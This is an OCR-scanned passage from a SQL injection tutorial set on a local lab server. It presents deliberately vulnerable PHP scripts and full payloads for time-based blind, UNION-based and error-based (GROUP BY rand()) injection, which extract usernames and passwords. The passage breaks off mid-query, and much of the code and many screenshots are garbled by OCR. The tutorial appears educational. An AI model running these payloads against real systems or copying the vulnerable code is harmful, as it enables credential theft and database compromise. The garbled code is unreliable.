$con = mysqgli connect ($dbsrvname, Sdbusername, Sdbpassword, S$dbname)
or die('Connection Error');

Smydate = date('m/d/Y h:i:s', time()) ;

$Ssgl = "INSERT INTO browserlog(browser, visittime)
VALUES ('" . $_SERVER[ '"HTTP_USER AGENT'] . "', '" | Smydate

mwi "
)"

$res = mysqgli query($con,$sgl) or die($sqgl);
echo "Browser recorded";
>

o7

File Edit 5earch Wiew Encoding Language Settings  Macre  Run Plugins  Window
J o 'J[]uﬂ 2 GLEJ|*'Eh[3| é?‘=|ﬁﬂzﬁ| % 3|=!{Cj|fa rrxijllgﬂ|[] (][]
[=] sgl php tﬂl

Sl<2EHE

S£dbname = "a";

[T L% T

S£dbusername = "root™;

S£dbpassword = "";

S£dbsrvname = "127.0.0. Ty

o N

Scon = mysgli connect (Sdbsrvname, Sdbusername, Sdbpassword, Sdbname)

or die('Connection Error');

L Sfmydate = date('pn/d/Y h:ji:=', time()) :

1C £2gl = "INSERT INTO browserlog(browser, wvisittime)

11 VALOES ('™ . E_SER'\"ER:‘Z—I??F_'_'.EGE_:.__'-_EE'.Z?‘: LM, ' Emydate . "'):M:
12 fres = mysqgli query($con, $s3gql) or die($sqgl);

13 echo "Browser recorded"™:

14 T




Let us open this php file in a browser:

@ )| (2 http://192.168.168.111: 8888/ mysql/insertbrowsertypel/sql.php

Browser recorded

As we can see the php was running. Let us check, if it inserted the data to the browserlog table by
running the mysql client

cd \xampp\mysgl\bin
mysgl -u root

USE a;

SELECT * FROM browserlog;

as we can see the data inserted to the table:

= = O X

mysql> SELECT * FROM browserlog;
+

+
Iegoaélés/géﬁ (Hindows NT 6.3; WOW64; Tridents/7.@; rv:11.@) like Gecko | B22@-00
| Mozillas/5.@ (Windows NT 6.3; WOW64; Trident/7.2; rv:11.2) like Gecko | 00R@-0D
-0 PD:00:20 |

o - ———————

mysql>

Now try to do some SQL injection. The application inserts the content of the User-Agent filed, and it is
set by the browser. To be able to modify is we have to use a proxy. On the already known way start the
Burp proxy t intercept the requests, and set up the browser, to use the Burp proxy. Then refresh the
browser, to reload the sql.php.

The Burp proxy intercepts the request. Here modify the value of the User-Agent field to an apostrophe
'. As it can be seen on the following screenshot:



B

Burp Intruder Repeater Window Help

[ Target T Fra: T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T Alerts ]

_[ niercept T HTTP history TWEl}E{}BkE‘E histony T Opticns ]

# | Reguest to hitp://192.168.168.111:8888

l Forward J l Dvop J ( Intercept is on | Action
_[ Raw T Farams T Hesders T Hex ]

GET /myscql/inserthrowsertypel/sql.php HTTE/ 1.1
Aocept: text/html, application/xhtml4xml, */*
Aocept-Language: en-U3

User—-Agent: !

Aocept—-Encoding: gzip, deflate
FProxvy-Connection: Eeep-A4live

Ho=st: 192.1e8.1e8.111:8888

Cookie: PHPSESSID=llinvtvidsigqridlkmSdvikslsT77

Click to the Forward button on the Burp proxy. Go back to the browser, where we get the following
nice error message:

I{\T:)\I = http://192.168.168.111:2838/mysql/insertbrowsertypel/sql.php P~c & 19:

INSERT INTO browserlog(browser, visittime) VALUES (. '02/23/2014 11:07:23";

Now let us try to write a syntactically correct SQL injection. To do it refresh again the page in the
browser. The Burp proxy will intercept the request again:



Burp Intruder Repeater Window Help

[ Target T T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender TDpti{}ns T Alerts ]

_[ T HTTP history T WebSockets history T Options ]

l_/| Request to http://192.188.188.111: 8888
[ Forward [ [ Drop [ ' Intercept is on ' Action [
_[ Raw T FParams T Headers T Hex ]

GET /myscgl/inserthrowsertypel/sgl.php HTTE/ L. 1

Locept: text/html, application/xhtml+bxml, */*

Aocept-Language: =n-U3

User—-Agent: Mozilla/5.0 (Windows NT £€.3; WOWE4; Trident/7.0; rv:11.0) like Gecko
Aocept—-Encoding: gzip, deflate

Proxy-Connection: KEeep-Alive

Host: 19Z.1eE8.1e8.111:3E588

Cookie: PHPIESSID=llinvtvidsigqridkmSdvkslsT7

We know that, the application expects a text and a datetime field. So try to insert that kind of data.
The insert command looks like as follows:

INSERT INTO browserlog(browser, visittime) VALUES ('AAA', ''");

the browser type is inserted instead of the three placeholder A letters. Now try to write a syntactically
correct code. First of all, we write some text like:

abcd

Then we want to write SQL injection so we must break out from the string. It can be done by the help
of an apostrophe, so the input should be something like:

abcd'
After it we must write a datetime type value so just enter a date like:

abcd', '2014.01.01"

The following problem is that, the insert instruction has an open bracket, if we do not close it the result
will be only a syntax error so close the bracket:

abcd', '2014.01.01");

But in this case because of the additional text written by the php code we will get a syntax error, so we
must comment the remaining part. So the complete input looks like as:

abcd' , '2014.01.01");#



The insert looks like now as:

INSERT INTO browserlog(browser, visittime) VALUES ('abcd'
'2014.01.01");#", '"");

What is correct syntactically. Try if it works:

Burp Intruder Repeater Window Help
[ Target T Praxy T Spider T Scanner T Intruder T Repeater T Sequencer IT]

_[ ntercept THTTF" history TWEbErDB‘:E‘E history T'Dp‘tiDI'IE ]

4| Regquestto http:/192.188.168.111:8888

l Forward J [ Dvop J | Intercept is on | Action
_[Hﬂ\\'TF"-E.I’EI‘I’ETHBEdEISTHEx]

GET /myscl/inserthbrowsertypel/sql.php HTTE/ 1.1
Locept: text/html, application/xhtml+4wxml, */*
Aocept-Languages: =n-U3

Uzser—Agent: abed', 'Z014.01.01'):#
Locept-Encoding: gzip, deflate
Froxy—Connection: Eeep-4ilive

Host: 192.168.1e2.111:8888

Cookie: PHFSESZSID=llinviwv7dsigqridkmSdvkSlsT7

After clicking the Forward button go back to the browser. We do not get any error message now:

e u@} &8 http://192.168.168.111:8888/mysql/insertbrowsertype/sql.php

Browser recorded

Go back to the mysql client and list the browserlog:

cd \xampp\mysgl\bin
mysgl -u root

USE a;

SELECT * FROM browserlog;



= - O X

mysql) SELECT ¥ FROM browserlog;

Iggoaélés/geﬂl(Hlndows NT 6.3; HOW64; Tridentrs/7.8; rv:11.0) like Gecko | QQRE-QE
| MozillasS.@ (Hindows NT 6.3; WOWE4; Tridents/7.8; rv:11.8) like Gecko | QQGEGE-0Q
—98 8@ Ro: 00 | | op14-01

abed
—91 Bo:oo: e |

3 rows in set (0.00 sec)

mysql>

Now we are able to create a correct SQL syntax, it is time to create some usefull SQL injection. First of
all go back to the browser, and press the refresh button

e- =) (2 http://192.168.168.111:8888/ mysql/insertbrowsertypel/sgl.php

Browser recorded

The Burp proxy intercepts the request:

Burp Intruder Repeater Window Help

[ Target T T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Owptions TF-JEI‘E- ]
_[ T HTTF historny T WebSockets history T Orptions ]

|_i_| Request to hitp://192.168.188.111:8888

|. Forward | | Dvop | Intercept is on | Action

' (e[ rensen  vex

GET /mysql/inserthrowsertypel/sqgl.php HTTES/1.1

Locept: text/html, application/xhtml+bxml, */*

Aocept-Language: en-1U3S

User—-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4:; Trident/7.0; rw:1l.0) like Gecko
Aocept-Encoding: gzip, deflate

Proxy-Connection: EKEeep-Alive

Host: 192.1EE.l68.111:8888

To be able to get some data we will need some communication channel. We can use the already well
known blind SQL injection query technique. Because we do not have any data channel we must use the
time based technique. We can inter instead of the datetime a time based blind SQL injection expression:

', IF(1=1,BENCHMARK (500000000,MD5('A"')),2)) ;#



If we substitute it into the insert command we will get the next:

INSERT INTO browserlog(browser, visittime) VALUES ('’
IF (1=1,BENCHMARK (500000000, MD5 ('A")),2));#"', '"'");

14

B

Burp Intruder Repeater Window Help

[ Target T 3 I Spider T Scanner T Intruder T Repesater T Sequencer T Decoder T_{'.

_[ i nit I HTTP history TWEbE-GDkEB history T Opticns ]

# | Request to http://192. 188 168.111:8888

l Forward J L Dvop J ( Intercept is on I Action
_[HE.WTHEEdEISTHEK]

GET /myscl/insertbhrowsertypel/sql.php HTTP/ 1.1

Aocept: text/html, application/zhtml+4xml, */*
Locept-Language: =en-U3

User-Lgent: ', IF (1=1, BENCHMAEE (50000000, MDS ('4A')),2)) : #
LAocept-Encoding: gzip, deflate

Froxv—-Connection: Feep-4ilive

Host: 192.1e8.1e8.111:288E88

Click to the forward button. After it go back to the browser. You will see that, the browser is waiting for
the answer for a longer time. It is exactly what we expected, because 1=1 is always true so the
benchmark calculation will run, what takes a long time.

-

( :./;.(\. §j|| = hitp://192.168.168.111:8888/mysql/insertbrowsertypel/sql.php P~ X | © Waiting for 192.168.168.111

b

After the browser has finished the loading of the page press again the reload button. The Burp proxy
will intercept the request again. Let us modify the User-Agent to the following:

', IF(1=2,BENCHMARK (500000000,MD5('A")),2)) ;#
If we substitute it into the insert command we will get the next:

INSERT INTO browserlog(browser, visittime) VALUES ('’
IF (1=2,BENCHMARK (500000000, MD5 ("A")),2));#"', "");

14



Burp Intruder Repeater Window Help

[ Target T ] T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T_

_[ i ot T HT TP history T WebSockets history T Options ]

# | Reguest to http://192. 168 168.111:8888
L Forward J l Drop J I Intercept is on I Action
_[H,awTHEEdEﬁTHex]

GET /myscl/inserthrowsertypel/sql.php HTTE/L. L

Accept: text/html, application/xhtml+xml, */*
Aocept-Languages: =n-1U3

User—-Agent: ', IF(1l=ZI, BEMNCHMARKE 50000000, MDS("A")), 20 #
Accept-Encoding: gzip, deflate

Proxy—-Connection: Eeep-Alive

Ho=t: 192.168.l1g8.111:2888

After modified click to the Forward button, and go back immediately to the browser window. Yo will
see that, the browser does not wait as long as earlier. It is exactly what we expected because 1=2 is
always false so the server will not do the benchmark calculation.

-

QQ J\>\I = http://192.168.168.111:3828/mysql/insertbrowsertypel/sql.php Jo R o/ (= 192.168.168.111

Browser recorded

And now we are finished practically, the time based blind SQL injection works. We just have to change
it to get some usefull data. To do it let us change the 1=1 or 1=2 to some usefull for example to
128<(SELECT ASCII(SUBSTRING(password,1,1)) FROM tbll WHERE username='name'). Our
whole User-Agent string will be the following:

! IF(128<(SELECT ASCII (SUBSTRING (password,1l,1)) FROM tbll WHERE

14

username="name"') , BENCHMARK (500000000, MD5 ("A")),2)) ; #

The whole insert looks then becomes the following:

INSERT INTO browserlog(browser, wvisittime) VALUES ('' ,
IF(128<(SELECT ASCITI (SUBSTRING (password,1,1)) FROM tbll WHERE
username="name"') , BENCHMARK (500000000, MD5 ("A")),2)) ; #

I want to emphasize, there is NO ENTER in the User-Agent line, the Burp proxy wrap the text to two
lines only because the line is too long.
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Burp Intruder Repeater Window Help

[ Target T ] T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender TDpti{}ns- TA|EI‘|“£- ]

_[ i pi T HTTP history T WebSockets history T Opticns ]

# | Request to http://192.168.168.111:8888
l Forward J l Drop J I Intercept is on | Action
_[FlawIHeaders-THex]

GET /mysql/inserthrowsertypel/sqgl.php HTTE/L1.1

Accept: text/html, application/xhtml4bxml, */*

Locept-Language: =n-T3

Uzer-Agent: ', IF (128« (SELECT ASCITI(SUBSTREING (password,l,l)) FEOM thll WHEERE
usernams='names') , BENCHMARE (50000000, MDS ("A' 31,20 ) - #

Aocept-Encoding: gzip, deflate

Proxvy—-Connection: Keep—-Alive

Host: 19Z2.1g8.168.111:2888

Fracmwa: no-cache

After pressing the forward button go back quickly to the browser window. As we get the response
quickly, what means the FALSE. So the ASCII code of the first character of the password is not greater
than 128. Then test the opposite. Click to the reload button.

Q 5] = http://192.168.168.111:8888/mysql/insertbrowsertypel/sql.php £~ C| & Waiting for 192.168.168.111

Browser recorded

When the Burp proxy intercepts the request modify the User-Agent as follows:

', IF(128>(SELECT ASCII (SUBSTRING (password,1,1)) FROM tbll WHERE
username="name') , BENCHMARK (500000000, MD5 ("A")),2)) ; #

The whole insert looks then becomes the following:

INSERT INTO browserlog(browser, visittime) VALUES ('' ,
IF (128> (SELECT ASCII (SUBSTRING (password,1l,1)) FROM tbll WHERE
username="'name'), BENCHMARK (500000000, MD5 ("A")),2));#"', '"");

I want to emphasize, there is NO ENTER in the User-Agent line, the Burp proxy wrap the text to two
lines only because the line is too long.
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Burp Intruder Repeater Window Help

[ Target T ) T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIEHE- ]

_[ i pi T HT TP histony T WebSockets history T Options ]

# | Request to http:/192.168.168.111:8888
l Forward J l Orop J I Intercept is on I | Action
_[HawTHeadersTHex]

GET /mysql/inserthrowsertypel/sqgl.php HTTE/ 1.1

Looept: text/html, application/xhtml+4xml, */*

Aocept-Language: =n-1U3

User-Agent: ', IF (128> (3ELECT ASCII|(3UBSTRING (password,l,Ll)) FROM thll WHEERE
uzername='nams') , BENCHMARK i 50000000, MDS("A' ) ) ,2) ) #

Aocept-Encoding: gzip, deflate

Proxv-Connection: Keep-Alive

Host: 19Z2.1e8.1e8.111:8888

Pragmwa: no-cache

After clicking to the forward button quickly go back to the browser window. As one can see the respons
now comes after a quite long time:

:-i_—? http://192,168.168.111:8888/ mysql/insertbrowsertypel/sgl.php P-x () Waiting for 192.168.168.111

[\-;):l

Browser recorded

We have tested, the method works, so we can start the usual binary search process.

One might ask, how do we know the names of the column, and the name of the table. Later we will
solve this problem, now just leave it in this way.



UNION Based SQL Injection

Another common type of SQL injection if we can use the union command. It is used, when we have
some data screen, where the application prints out some result. Our purpose is to add some data to the
printed dataset. In this way we can print arbitryry data, and it is mush faster than the blind SQL
injection, because instead of queriing the characters one by one we can print the whole data set at once.
To try it use the following code as sql.php:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

$con = mysqli connect ($dbsrvname, Sdbusername, S$dbpassword, S$dbname);
if (!Scon) {

echo ('Connection ERROR') ;

die(print r (mysgli error ($con)));
}
Squery = "SELECT username, '******! AS password,description,id

FROM tbll WHERE username='" . $ GET['username'] . "';";

$stms = mysgli query(Scon, Squery);
if ($stms === false) {

echo ('"ERROR during query execution: ');

echo (Squery) ;

die (print r (mysqgli error ($con)));
}
echo '<table border="1" width="100%"><tr><td>username</td>

<td>password</td><td>description</td><td>id</td></tr>';
while ($row = mysgli fetch array($stms, MYSQLI ASSOC)) {
echo '<tr><td>' . Srow['username'] . '</td><td>' . Srow['password']
'</td><td>' . Srow['description'] . '</td><td>' . S$row['id']

'</td></tr>"';
}
echo '</table>';
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Eile Edit 5Search Miew Encoding Language Settings Macre Run Plugins  Window

|coH@ELE|sdmk|loe|hy|xx|EE|= [ EER I E D@ E

[=] sql php Eﬂl =| sgl php & .-|
1 [El<?php
include("'..\dh.gphp"):

[TV S

Scon = my=sqgli connect ($dbsrvname, Sdbusername, Sdbpassword, S5dbname)
Elif (!'Scon){

echo ( 'Connection ERROR'};

die[print_p[mysqli_errur[Scnn]]];

1 o tn

B Squery = "SELECT username, "###a&# AS password,description,id
o . & GET|['username LW,
= — e

sername=""
o~

10 $stms = mysqgli guery($con, $guery):

11 [Hif (&ztm= === false) {

12 echo ( "ERRCE during guery execution: '"):

13 echo (Sguery) ;

14 die(prinp_p(mysqli_error(Scon]]];

1 echo '<table borde 1008 "< Lr><Ld>nsername</ td>

17 <hd> 2 description</rd><pd>id</rd></gr>':

12 [Hwhile ($row = mysgli_fetch array($stms, MYSQLI ASSCC)){

19 echo '<fr><gd>' . Srow['ussrname'l]l . '</pde<gd>' . Srow['password']
20 S < pds S$row['description'] . '</pd><gd>' . Srow['id'l . '</pd></Lr>':
31 i

22 echo <ftable>";

23 i

First try how the application works. In your browser call it, and give it a valid username as username
parameter. The URL will be something like:

http://192.168.168.111:8888/mysgl/unionl/sgl.php?username=name

- a X
GI§:I| 2 http://192.168.168.111:8888/mysgl/union1/sql.phplusername=name L~-c | 2 192.168.168.111 ﬂﬁ T:? {iﬁ
|username ||password ||description ||id |
|name ||"‘""""‘""" ”description of user name ”1 |

As one can see we got the answer. Now our purpose is to extend the result set with some data usefull
for us.

The idea to do it is the following. There is a UNION operator in SQL. It is capable to combine the
result-set of two or more SELECT statements. This is exactly what we need.

But it has some pre requisites. The first is each SELECT statement within the UNION must have the
same number of columns. The second, the columns at the same position must have similar data types.

We write the second SELECT statement, so there will be as many columns as we want, there is no
problem. But the question is how many columns does the first SELECT statement has, what is included



in the application? We can easily find it by trying different number of columns and when we do not get
error message it is found.

http://192.168.168.111:8888/mysgl/unionl/sgl.php?username=name' UNION
SELECT null;-- -

We select the value NULL, because it is compatible (similar) with every data type.

- O x
el‘,\l 2 hittp://192.168.168.111:2228/mysql/union1/sql.phplusername=narne’ UNION SELECT null;--- 2~ & | (2 192.168,168.111 "U’-D ‘_.._' {::’

ERROR during query execution: SELECT username,******' AS password, description,id FROM tbll WHERE username="name' UNION
SELECT null;-- -";The used SELECT statements have a different number of columns1

As we can see, we got an error message states that, the number of columns in the two statements are
not the same. So try now two columns by the next command:

http://192.168.168.111:8888/mysgl/unionl/sgl.php?username=name’' UNION
SELECT null,null;-- -

- O
@[_: \‘l (= 9://192.168.168.111:8388/mysql/union1/sql.php?username=name' UNION SELECT nullnull:-- - 2 ~ & = 192.168.168.111 ﬁ-ﬁ 5

ERROR dunng query execution: SELECT username,"******' AS password,description,id FROM tbll WHERE username="name' UNION
SELECT null.null;— -";The used SELECT statements have a different number of columns1

We got another error message again, so the number of columns is not two. Then try three, then four:

http://192.168.168.111:8888/mysgl/unionl/sgl.php?username=name' UNION
SELECT null,null,null,null;-- -

- 0O x
el':fjg'l (= 68.168.111:8888/mysql/union1/sql.phpTusername=name’ UNION SELECT null,null,null,null;-- - D~ | & 192168162111 A S T
o/ = 3 3 B 5 b i . d e e e e = . . . LI a8 S
username password description 1d
name S description of user name 1

When we type four nulls we do not get error message but an additional empty line in the result set. It
means there are four columns in the first SELECT. The next thing to do is to figure out the type of the
columns. Because we have four columns printed we can guess, the data type based on it.

Let us suppose, the first column to be some text so modify the link as:

http://192.168.168.111:8888/mysgl/unionl/sgl.php?username=name' UNION
SELECT 'aaa',null,null,null;-- -



http://192.168.168.111:8888/mysql/union1/sql.php?username=name
http://192.168.168.111:8888/mysql/union1/sql.php?username=name
http://192.168.168.111:8888/mysql/union1/sql.php?username=name
http://192.168.168.111:8888/mysql/union1/sql.php?username=name

-= O x

e(_n \'|| (= 8.168.111:8288/mysgl/union1/sgl.php?username=name’ UNION SELECT 'aaa’,null,null, null;-- -| e RN | = 192.168.168.111 "LT-U\ ‘_n"' ‘:::’
|usen1ame ”password ||descr{ptior1 ||id |
|name S e description of user name 1

||ﬂﬁﬂ

As we can see we did not get an error message so the first column is a text type, or automatically
convertable to text.

Similarly we can try the second column what also may be also a text. It is not sure, because stars are
printed. It can be converted to stars during the query or after the query in the php code.

So modify the link as:

http: 192.168.168.111:8888/mysgl/unionl/sgl.php?username=name’' UNION
SELECT 'aaa', 'bbb',null,null;-- -

- O x
e . - B , i , . o
(s )| (22 188.111:8888/mysgl/union1/sgl.phpfusername=name’ UMION SELECT ‘aaa’, bbb’ null, null;-- - L~ & 192.168.168.111 it o Lk
username ||Password description d
name ”;““‘ description of user name 1
||aaa ||bbb

As we can see there is no error message, so the second column is a text type. Also there are no stars,
but our text in the output, what means not the php code, but the SQL query itself substitutes stars
instead of the real password.

We can try the text type data in the third column as well:

http://192.168.168.111:8888/mysgl/unionl/sgl.php?username=name’' UNION
SELECT 'aaa', 'bbb', 'ccc',null;—— -

- 0O x
elrlf_h\‘l| = 168.111:8888/mysql/union1/sql.php?username=name' UNION SELECT 'aaa’,'bbb''ccc' null-- - 2 ~ & & 192168168111 oy "n"‘ ‘:::’
|username |[passw0rd ”description ||id |
|name ”""’"‘ ”description of user name ”l |

||aaa ||bbb ”ccc || |

For the fourth column we try number as datatype. The modified link look like as:

http://192.168.168.111:8888/mysgl/unionl/sgl.php?username=name’' UNION
SELECT 'aaa', 'bbb','cce',1;-- -



http://192.168.168.111:8888/mysql/union1/sql.php?username=name
http://192.168.168.111:8888/mysql/union1/sql.php?username=name
http://192.168.168.111:8888/mysql/union1/sql.php?username=name

-= O x

QQEW '\;,-—3 38.168.111:8888/my=ql/union1/sgl.phpfusername=name’ UNION SELECT 'aaa’,'bbb’,'ccc’,1;-- - L~ & 192.168.168.111 )Ju\ ,\_.“._, ‘::3’
username ||Password description d
name ”;““‘ description of user name 1
||aaa ||bbb CCE 1

As we can see it works, so we know the number of columns, and the types of them. Now as last step let
us change the columns from constant values to some useful data. We can use the following URL:

http://192.168.168.111:8888/mysgl/unionl/sgl.php?username=name’' UNION
SELECT username,password,description,id FROM tbll;-- -

- a X
eQ '\\I| :—g} 1888/ mysgl/unionl/sgl.php?username=name’ UNION SELECT username, password, description,id FROM thi1;-- - e R ] | & 192.168.168.111 )LT'U\ “'A"' ‘::}
username ||Passw0rd description d
name ||7‘“““‘“"‘k description of user name 1
name ||Pass description of user name 1
|name2 ”i:assE description of user name? 2
|a ||aaaaa description 3
|b ||aaaaa description 4

As we can see, we got all the data in the table in one step. One might ask, how do we know the names
of the columns, and the name of the table. The column name can be guessed from the screen, but the
table name can not. The answer is that, later we will solve this problem, now just leave it in this way.


http://192.168.168.111:8888/mysql/union1/sql.php?username=name

Error based SQL injection and double query

Practically we have already used the error based SQL injection in the union based SQL injection
example we used the idea to get error message if the number of the columns is not good. The real error
based SQL injection is almost the same. But in that case we add the usefull information to the error
message. So this technique can be used if we get back the error message. (One simple rule is to never
show any detail error message to the end user, but of course there are many web pages out ther what
prints the error message).

To do it first we have to find an instruction, what correct syntactically, but gives us error message
during some circumstances. Frotunately we have a bug in MySQL, described in the following
http://bugs.mysql.com/bug.php?id=58081 link. Let us try to reproduce it.

Start the mysq]l client, then use the next SELECT:

cd \xampp\mysqgl\bin

mysqgl -u root

USE a;

SELECT * FROM tbll GROUP BY rand() having min (0);

mysql>
mysql> select ¥ from tbll group by rand() having min(@);
Empty set (0.02 sec)

mysql?

If we run this query it runs without any problem. The bug report states that, we will get some error
situation if there is a repetition in the group key value. But the situation is not so simple, is all the
values are the same we will not get error message, only if we have a pattern like:

something
something else
something <--- we will get the error here.

But the random function generates random values so it has a small probability of this kind of repetition.

Try to increase the probability. Use for example the integer part of the random value. It can be done on
the following way:

FLOOR (rand () )

but it has a problem. The FLOOR function returns the largest integer value not greater than the input of
it. The rand() generates a random value between 0 and 1 so the integer part of it will be always zero, it
is not good for us.


http://bugs.mysql.com/bug.php?id=58081

But if we multiply the random value with two and take the FLOOR of it we will get 0 or 1 depends of
if he random value was less than 0.5 or greater.

SELECT * FROM tbll GROUP BY FLOOR(rand()*2) having min (0);

mysql? select ¥ from tbll group by floor{rand(}*2) having min(@);
Empty set (8.82 sec)

mysql> select ¥ from tbll group by floor{rand()*2) having min(@);
Empty set (0.800 sec)

mysql> select ¥ from tbll group by floor{rand()*2) having min(@);
Empty set (.00 sec)

mysql?> select ¥ from tbll group by floor{rand()*2) having min(@);
Empty set (0.8080 sec)

mysql> select ¥ from tbll group by floor{rand()*2) having min(@);
Empty set (0.81 sec)

mysql> select ¥ from tbll group by floor{rand()*2) having min(@);
Empty set (.00 sec)

mﬁ sql> sele fr group by floor(rand()#Z] hav1ng min(@)'
ERROR 1062 (23@@@) Ellcate entry ¥ ?Poup

mysql> select % from thl1 group by Floor(rand( ¥7 hav1ng mln(B)
Empty set (B.8080 sec)

mysql)
mysql2

One should run this query many times, and we will see something interesting. Most of the time the
query runs, but sometimes we get an error message, as we can see on the previous screenshot.

As we can see, the errors are still too rear, and randomly appearing, so it is difficult to use for error
generation. Let us try to further develop the solution, to be more stable. If one check the description of
the rand function it states that "If a constant integer argument N is specified, it is used as the seed value,
which produces a repeatable sequence of column values". So if we use an argument the result will be
predictable, and will run always on the same way. Try it with the following input:

SELECT * FROM tbll GROUP BY FLOOR (rand(0)*2) having min(0) ;

-
mysql)

mysql> select ¥ from tbll group by Floor(rand(@)*Z) having min(@);
E ROT)lBéZ (23003): Duplicate entry '1’ for key ’group_key’

mysqzl.

If one tries this solution it will always generate an error message. (if the length of the table is greater
than three lines).

OK, until now it is fine, but we do not have any usefull information. How to get that.



The answer is simple, If one read the error message it states duplicate entry '1'. The 1 is nothing else,
but the value what we set to the group by. So we must add some usefull data to the group by. To do it
we can use the CONCAT WS function, to concatenate more values. The first is the value what we want
to know (now the version()), the second is the previously derived function generates the pattern, what
fires the bug. One must take care, to query a constant value, otherwise the error will not be fired,
because there is no repetition.

To try it use the following query:

SELECT * FROM tbll GROUP BY CONCAT_WS('~',VerSiOH(),FLOOR(rand(O)*2))
having min (0);

- -|lal x
mysql>
mysql) select * from tbll group by concat_ws(’™’,version(),floor({rand(@)x2)) hav

n(@);
ER 0?)1@62 (23000): Duplicate entry '5.6.141' for key 'group_key’
mysql,

Similar result can be reached by the help of other functions like:

SELECT * FROM tbll GROUP BY CONCAT WS('~',version(),CEIL(rand(0)*2))
having min (0) ;

- - @ x
mysql >

mysql)(select ¥ from tbll group by concat_ws(’~’,version(),ceil({rand(@)%2)) havl
EEROR 196? (23000): Duplicate entry '5.6.14"2' for key ’'group_key’

mysql>

OR:

SELECT * FROM tbll GROUP BY

CONCAT WS ('~"',version (), TRUNCATE (rand(0)*2,0)) having min(0);

= - O x
mysql >

mysql) select * from tbll group by concat_ws(’™’',version(),truncate(rand(@)%2, B)

havin
ERROR 1862 (23@@@) Duplicate entry '5.6.14~1’ for key ’'group_key’
mysql

And how it becames a double query? Now it is simple, just instead the value() function one should
write a query for example:

SELECT * FROM tbll GROUP BY CONCAT WS('~', (SELECT password FROM tbll
LIMIT 0,1),FLOOR (rand(0)*2)) having min(0);

One must take care, the inner select must return one and only one value, this is the cause of using the
LIMIT keyword in the example.



- . |
=N ol ox

mysql> [~
mysql) select ¥ from tbll gro by concat ws(’”’ (SELECT password FROM tbl1l LIMI
T @ runcate(rand(@)*2 8) aving, min( i

ERR6T>1062 (23000) : Dupllcate entry 'pass™l’ for key ’'group_key’

mysq

If one need more data from a row then we can use the CONCAT WS function again:

SELECT * FROM tbll GROUP BY CONCAT WS('~', (SELECT
CONCAT WS ('~',password,username) FROM tbll LIMIT
0,1),FLOOR (rand(0)*2)) having min (0) ;

o) - O X
mys [~]
mysql) SELECT = FROM tbll GROUP BY CONCAT_WS(’~’,(SELECT CONCAT _HS(’~’,password,
username) FROM tbl1l LIMIT @, 1),FLOOR(rand(@)}%2)) havin m1n

ERROR 1062 (23898) Duplicate entry ’'pass™~name™~1l’ for Ee group key’

mysql>

As we can see, we can get maximum one line of a a table in one step, it is much faster than the blind
SQL injection, but not as fast as the UNION based.

To try it use the same example what we used in the first example. The sql.html looks like as:

<title>mylogin</title>
<body>
<form action="sqgl.php" method="POST">
User Name: <input type="text" id="username" name="username"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" value="send">
</form>
</body>

It creates a form with two fields on it. One is a username field, and the other is a password field. When
the user clicks on the submit (send) button, it will call the sql.php, which validates the user credentials.

LE
File Edit Search View Encoding Language Settings Macre  Run  Plugins  Window 7
|cEReELalsb|laciag|lax|BRE(S I EEL|IEH
LhmMmldl

1 ktltl&}mx&gg&g<ftltle>

2 <body>

3 <form action="ggl.php" method="POST">

i User Name: <input type="text" id="psername" name="gpsernamns"/><br/>

5 Password: <input tvpe="password" id="password" name="password"/><br/ >
6 <input type="submit" wvalue="zend">

</ form>

B </ body>




The sql.php has the following source code.

<?php

Sdbname = "a";

Sdbusername = "root";

Sdbpassword = "";

//Sdbsrvname = "192.168.168.111";
Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($srvname, Susername, Spassword,
if (!$con) {
echo ('Connection ERROR');

die(print r (mysgli error ($con)));
}
Squery = "SELECT * FROM tbll WHERE username='"
$ _POST['username'] . "' AND password='"

$_POST['password'] . "';";
$stms = mysgli query(Scon, Squery);

if ($stms === false) {
echo ('"ERROR during query execution: ');
die(print r (mysgli error ($con)));

}
$row = mysqli fetch array($stms, SQLSRV FETCH ASSOC) ;
if (Srow) {
die ('Logged in'");
}
else{
die ('Wrong username or password');

}
7>

Sdbname) ;



oy

Window 7

N [=E=N

File Edit Search View Encoding Language Settings Macre Run Plugins
sEHEHBEGE& |dk & I |:’ c |ﬂﬂ b | % g |u1 ==\ |Eﬁ
= salhiml E3 = sgl php ﬂl
1 [HE<«?php
2 Sdbname = "a";
5 fusername = "root":
- Zpassword = "";
5 Szrvname = "192.168.168.111";
] Ji%sryname = "127.0.0.1";
7 fcon = mysqgli_connect ($srvname, f$username, $password, Sdbname);
g8 [HEif ('Scon){
B echo ("Connection ERBRCR') ;
10 dieiprint_r(mysqli_errnriSCDnJ]];
12 fguery = "SELECT ®* FRCM tbll WHEERE username='" .
13 £ POST Sernamns " AND password='"
14 S_PDST:‘;aﬂﬂ'::i | ey
15 £stms = mysgli_gquery ($con, Squery):
16 [Hif (£ztms === false){
17 echo ("EERCE during gquery exXecution: '});
18 dieiprint_r(mysqli_errnriSCDnJ]];
20 Srow = mysqgli fetch array($stms, SQLSEV FETCH ASSCC);
21 [HEif (Srow){
22 die('Logged in'):
23 B
24 [Helse
25 die('Wrong psername or password'):;
26 B
27 =

We can try to use the following input as username:

' OR 1=1 GROUP BY CONCAT WS ('~"', (SELECT password FROM tbll LIMIT

0,1),FLOOR (RAND (0) *2))

let us examine it:

the first apostrophe break out from the string, so we can write SQL command.

having min(0);-- -

The OR 1=1 necessary, to return many rows (recall, we need at least three rows, to fire the error)

The GROUP BY CONCAT WS('~',(SELECT password FROM tbl1 LIMIT

0,1),FLOOR(RAND(0)*2)) having min(0);-- -

is the already known attack vector.

The original select looks like as:



SELECT * FROM tbll WHERE username='AAA' AND password='BBB';

where the AAA and BBB placeholders show, where we substitute the username and password
respectively. The built query will look like as follows:

SELECT * FROM tbll WHERE username='"' OR 1=1 GROUP BY CONCAT_WS('~',
(SELECT password FROM tbll LIMIT 0,1),FLOOR(RAND(0)*2)) having
